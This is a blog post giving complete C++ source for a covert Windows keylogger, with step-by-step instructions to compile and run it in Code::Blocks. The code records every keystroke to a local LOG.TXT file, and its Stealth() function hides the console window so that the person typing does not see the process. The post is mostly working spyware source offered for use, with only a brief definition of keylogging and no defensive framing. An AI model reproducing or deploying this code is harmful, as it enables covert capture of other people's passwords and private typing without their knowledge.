Friday, 29 April 2016

KEYLOGGER using c++


                                          KEY LOGGER USING C++




Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording (or logging) the keys struck on a keyboard, typically in a covert manner so that the person using the keyboard is unaware that their actions are being monitored. It has uses in the study of human–computer interaction.

This keylooger works on windows

//made by shubham bansal  



#include<iostream>
#include<stdio.h>
#include<windows.h>
#include<winuser.h>
using namespace std;

int Save(int key_stroke,char *file);
void Stealth();
int main(){
    Stealth();
    char i;
    while(1){
        for(i=8;i<=190;i++){
            if(GetAsyncKeyState(i)==-32767)
                Save(i,"LOG.TXT");
        }
    }
    system("PAUSE");
    return 0;
}

int Save(int key_stroke, char *file){
    if(key_stroke==1||key_stroke==2){
        return 0;
    }
    FILE *OUTPUT_FILE;
    OUTPUT_FILE=fopen(file,"a+");
    cout<<key_stroke<<endl;

    if(key_stroke==8)
    fprintf(OUTPUT_FILE,"%s","[BACKSPACE]");
    else if(key_stroke==13)
    fprintf(OUTPUT_FILE,"%s","\n");
    else if(key_stroke==32)
    fprintf(OUTPUT_FILE,"%s"," ");
    else if(key_stroke==46)
    fprintf(OUTPUT_FILE,"%s",".");
    else if(key_stroke==35)
    fprintf(OUTPUT_FILE,"%s","#");
    else if(key_stroke==60)
    fprintf(OUTPUT_FILE,"%s","<");
    else if(key_stroke==62)
    fprintf(OUTPUT_FILE,"%s",">");

    else if(key_stroke==VK_DIVIDE)
    fprintf(OUTPUT_FILE,"%s","[DEVIDE]");
    else if(key_stroke==VK_ADD)
    fprintf(OUTPUT_FILE,"%s","[ADD]");
    else if(key_stroke==VK_SUBTRACT)
    fprintf(OUTPUT_FILE,"%s","[SUBTRACT]");
    else if(key_stroke==VK_DECIMAL)
    fprintf(OUTPUT_FILE,"%s","[DECIMAL]");
    else if(key_stroke==VK_MULTIPLY)
    fprintf(OUTPUT_FILE,"%s","[MULTIPLY]");

    else if(key_stroke==VK_NUMLOCK)
    fprintf(OUTPUT_FILE,"%s","[NUMLOCK]");
    else if(key_stroke==VK_NUMPAD0)
    fprintf(OUTPUT_FILE,"%s","[NUMPAD0]");
    else if(key_stroke==VK_NUMPAD1)
    fprintf(OUTPUT_FILE,"%s","[NUMPAD1]");
    else if(key_stroke==VK_NUMPAD2)
    fprintf(OUTPUT_FILE,"%s","[NUMPAD2]");
    else if(key_stroke==VK_NUMPAD3)
    fprintf(OUTPUT_FILE,"%s","[NUMPAD3]");
    else if(key_stroke==VK_NUMPAD4)
    fprintf(OUTPUT_FILE,"%s","[NUMPAD4]");
    else if(key_stroke==VK_NUMPAD5)
    fprintf(OUTPUT_FILE,"%s","[NUMPAD5]");
    else if(key_stroke==VK_NUMPAD6)
    fprintf(OUTPUT_FILE,"%s","[NUMPAD6]");
    else if(key_stroke==VK_NUMPAD7)
    fprintf(OUTPUT_FILE,"%s","[NUMPAD7]");
    else if(key_stroke==VK_NUMPAD8)
    fprintf(OUTPUT_FILE,"%s","[NUMPAD8]");
    else if(key_stroke==VK_NUMPAD9)
    fprintf(OUTPUT_FILE,"%s","[NUMPAD9]");

    else if(key_stroke==VK_F1)
    fprintf(OUTPUT_FILE,"%s","[F1]");
    else if(key_stroke==VK_F2)
    fprintf(OUTPUT_FILE,"%s","[F2]");
    else if(key_stroke==VK_F3)
    fprintf(OUTPUT_FILE,"%s","[F3]");
    else if(key_stroke==VK_F4)
    fprintf(OUTPUT_FILE,"%s","[F4]");
    else if(key_stroke==VK_F5)
    fprintf(OUTPUT_FILE,"%s","[F5]");
    else if(key_stroke==VK_F6)
    fprintf(OUTPUT_FILE,"%s","[F6]");
    else if(key_stroke==VK_F7)
    fprintf(OUTPUT_FILE,"%s","[F7]");
    else if(key_stroke==VK_F8)
    fprintf(OUTPUT_FILE,"%s","[F8]");
    else if(key_stroke==VK_F9)
    fprintf(OUTPUT_FILE,"%s","[F9]");
    else if(key_stroke==VK_F10)
    fprintf(OUTPUT_FILE,"%s","[F10]");
    else if(key_stroke==VK_F11)
    fprintf(OUTPUT_FILE,"%s","[F11]");
    else if(key_stroke==VK_F12)
    fprintf(OUTPUT_FILE,"%s","[F12]");
    else if(key_stroke==VK_F13)
    fprintf(OUTPUT_FILE,"%s","[F13]");
    else if(key_stroke==VK_F14)
    fprintf(OUTPUT_FILE,"%s","[F14]");
    else if(key_stroke==VK_F15)
    fprintf(OUTPUT_FILE,"%s","[F15]");
    else if(key_stroke==VK_F16)
    fprintf(OUTPUT_FILE,"%s","[F16]");
    else if(key_stroke==VK_F17)
    fprintf(OUTPUT_FILE,"%s","[F17]");
    else if(key_stroke==VK_F18)
    fprintf(OUTPUT_FILE,"%s","[F18]");
    else if(key_stroke==VK_F19)
    fprintf(OUTPUT_FILE,"%s","[F19]");
    else if(key_stroke==VK_F20)
    fprintf(OUTPUT_FILE,"%s","[F20]");
    else if(key_stroke==VK_F20)
    fprintf(OUTPUT_FILE,"%s","[F20]");
    else if(key_stroke==VK_F21)
    fprintf(OUTPUT_FILE,"%s","[F21]");
    else if(key_stroke==VK_F22)
    fprintf(OUTPUT_FILE,"%s","[F22]");
    else if(key_stroke==VK_F23)
    fprintf(OUTPUT_FILE,"%s","[F23]");
    else if(key_stroke==VK_F24)
    fprintf(OUTPUT_FILE,"%s","[F24]");


    else if(key_stroke==VK_SLEEP)
    fprintf(OUTPUT_FILE,"%s","[SLEEP]");
    else if(key_stroke==VK_INSERT)
    fprintf(OUTPUT_FILE,"%s","[INSERT]");
    else if(key_stroke==VK_TAB)
    fprintf(OUTPUT_FILE,"%s","[TAB]");
    else if(key_stroke==VK_CAPITAL)
    fprintf(OUTPUT_FILE,"%s","[CAPITAL]");
    else if(key_stroke==VK_SHIFT)
    fprintf(OUTPUT_FILE,"%s","[SHIFT]");
    else if(key_stroke==VK_ESCAPE)
    fprintf(OUTPUT_FILE,"%s","[ESCAPE]");
    else if(key_stroke==VK_END)
    fprintf(OUTPUT_FILE,"%s","[END]");
    else if(key_stroke==VK_HOME)
    fprintf(OUTPUT_FILE,"%s","[HOME]");
    else if(key_stroke==VK_DELETE)
    fprintf(OUTPUT_FILE,"%s","[DELETE]");
    else if(key_stroke==VK_LCONTROL)
    fprintf(OUTPUT_FILE,"%s","[LCONTROL]");
    else if(key_stroke==VK_RCONTROL)
    fprintf(OUTPUT_FILE,"%s","[RCONTROL]");

    else if(key_stroke==VK_RIGHT)
    fprintf(OUTPUT_FILE,"%s","[RIGHT]");
    else if(key_stroke==VK_UP)
    fprintf(OUTPUT_FILE,"%s","[UP]");
    else if(key_stroke==VK_DOWN)
    fprintf(OUTPUT_FILE,"%s","[DOWN]");
    else if(key_stroke==VK_LEFT)
    fprintf(OUTPUT_FILE,"%s","[LEFT]");
    else if(key_stroke==190||key_stroke==110)
    fprintf(OUTPUT_FILE,"%s",".");

    else
    fprintf(OUTPUT_FILE,"%s",&key_stroke);
    fclose(OUTPUT_FILE);
    return 0;
}

void Stealth(){
    HWND stealth;
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);
}




  • Just paste the above code in CODEBLOCKS
  • Below is the screenshot of code in codeblocks
  • Save the code with the filename keylogger.cpp


                   




  • Now compile the code by pressing CTRL+F9 .
  • Run the compiled code by pressing CTRL+F10.
  • Their will appear a box just for a second and than it will automatically disappear.
  • Now you can close the codeblocks window. 

 Now open the task manager window , click on the process tab , their you will find the process named keylogger.exe running . This was the process created by you which is in working mode , and saving all your key strokes . Below is the screenshot of how it looks like.

  • Now you can close the task manager .
  • Just move to the folder or location where you saved your file named keylogger.cpp
  • Their you will find a file named log.txt.
  • Below is the screenshot of how it looks like.


This LOG.TXT file contains all your keystrokes , hit or pressed by you after the starting of the process made by you.
Now to stop the running process go to the task manager as before , go to the processes tab , select the processed named keylogger.exe and click on the end process button .
With this you will stop the running process.

That all about writing a keylogger in c/c++

No comments:

Post a Comment